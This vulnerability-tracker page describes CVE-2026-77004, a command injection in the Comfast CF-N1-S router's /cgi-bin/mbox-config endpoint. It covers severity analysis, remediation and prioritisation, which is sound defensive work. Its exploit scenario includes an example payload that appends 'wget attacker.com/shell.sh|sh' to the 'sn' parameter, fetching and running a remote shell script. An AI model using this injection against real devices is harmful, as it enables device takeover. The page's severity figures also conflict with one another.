Skip to main content

Comfast CF-N1-S EUVDEUVD-2026-63479

| CVE-2026-77004 LOW
Command Injection (CWE-77)
2026-08-20 VulDB GHSA-m27q-v5c6-r932
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege credentials for management interface
  2. Delivery
    Authenticate to /cgi-bin/mbox-config endpoint
  3. Exploit
    Inject shell metacharacters into 'sn' parameter
  4. Execution
    sprintf constructs malicious command string
  5. Impact
    Arbitrary OS commands execute on device firmware

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold low-privilege authenticated access to the Comfast CF-N1-S management interface (confirmed by PR:L in the CVSS 4.0 vector). The management CGI endpoint /cgi-bin/mbox-config must be network-reachable on the device's HTTP or HTTPS management port. The ptest_sn section of that endpoint must be accessible to the authenticated session level. No non-default configuration or special feature enablement is described as required beyond device reachability and valid credentials. The primary limiting factors are the authentication requirement (PR:L) and whether the management interface is exposed to untrusted networks - environments that restrict management interface access to a dedicated VLAN or jump host significantly reduce realistic exploitation exposure.

Impact

The published CVSS 4.0 score of 2.1 is strikingly inconsistent with the nature of this vulnerability. The vector confirms network accessibility (AV:N), low complexity (AC:L), low privileges (PR:L), and no user interaction (UI:N) - yet rates all impact metrics at Low (VC:L/VI:L/VA:L/SC:L/SI:L/SA:L), which appears to substantially understate the actual OS-level command execution impact typical of CWE-77 on embedded devices. This discrepancy should be verified against the published PoC behavior before accepting the score at face value. The E:P supplemental metric confirms a publicly available proof-of-concept, lowering the skill barrier for exploitation. The vulnerability is not in CISA KEV, and no EPSS data was provided. The PR:L requirement provides a meaningful barrier to unauthenticated opportunistic exploitation, but authenticated command injection on a network-perimeter device remains a serious operational risk. The gap between the numerically low CVSS score and the actual attack primitive warrants independent verification - defenders should not rely solely on the 2.1 score to deprioritize this finding without reviewing the PoC.

Exploit ScenarioDerived

An attacker with valid low-privilege credentials to the Comfast CF-N1-S web management interface sends a crafted HTTP GET or POST request to /cgi-bin/mbox-config?method=SET&section=ptest_sn with a malicious 'sn' value containing shell metacharacters - for example, appending a semicolon followed by a command such as 'wget attacker.com/shell.sh|sh'. The sprintf call constructs a command string incorporating this unsanitized input, causing the underlying system() or popen() call to execute the injected command with device OS privileges. A public proof-of-concept PDF documenting this technique is available on GitHub, reducing exploitation skill requirements.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Command injection in the Comfast CF-N1-S firmware 2.6.0.1 CGI management interface allows remote low-privileged attackers to execute arbitrary OS commands by manipulating the 'sn' parameter in the /cgi-bin/mbox-config endpoint. The root cause is unsafe use of sprintf in the CGI handler that incorporates attacker-controlled input directly into a shell command without sanitization or escaping. A public proof-of-concept has been published on GitHub as a PDF document; this is not currently listed in the CISA KEV catalog.

RemediationAI

No vendor-released patch has been identified at time of analysis - all references point to VulDB disclosures and a researcher-published PDF with no corresponding Comfast firmware update or advisory found. As an immediate compensating control, restrict access to the device's HTTP/HTTPS management interface by isolating it to a dedicated management VLAN or blocking the management port at the network perimeter, accepting the trade-off of losing remote management capability from untrusted segments. Enforce strong, unique credentials on all management accounts to raise the bar above the PR:L requirement, since authentication is the primary exploitation barrier. If the device supports disabling the /cgi-bin/mbox-config CGI endpoint while retaining core routing functionality, that specific endpoint should be disabled. Monitor VulDB entry 393623 (https://vuldb.com/vuln/393623) and the Comfast vendor site for firmware releases addressing this CGI handler flaw.

Affected VersionsENISA

CF-N1-S 2.6.0.1

Affected Packages

euvd cf_n1_s no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is the Comfast CF-N1-S wireless device running firmware 2.6.0.1 (CPE: cpe:2.3:a:comfast:cf-n1-s:*:*:*:*:*:*:*:*). The flaw (CWE-77: Improper Neutralization of Special Elements used in a Command) resides in the sprintf call within the CGI binary handling the /cgi-bin/mbox-config route when invoked with method=SET and section=ptest_sn. The 'sn' argument is incorporated into a shell command string via sprintf without sanitization, enabling injection of shell metacharacters such as semicolons, backticks, or pipes. This is a textbook OS command injection pattern on an embedded Linux device where CGI handlers directly invoke system commands using user-supplied formatted strings.

Know when Cf N1 S gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
vuln.today AI 9.9 CRITICAL

OS command injection yields full device control (S:C, C/I/A:H); PR:L reflects the authenticated access requirement confirmed by the CVSS 4.0 vector.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

3
Severity Changed
Aug 20, 2026 - 16:22 NVD
MEDIUM LOW
CVSS changed
Aug 20, 2026 - 16:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Aug 20, 2026 - 16:00 cve.org
LOW 2.1

DescriptionCVE.org

A flaw has been found in Comfast CF-N1-S 2.6.0.1. This impacts the function sprintf of the file /cgi-bin/mbox-config?method=SET&section=ptest_sn. Executing a manipulation of the argument sn can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.

Threat Intelligence Overview

EPSS Score
1.3%
Top 32% exploitable
Prevalence
Rare
niche Chinese consumer router, minimal enterprise deployment footprint
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.3%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy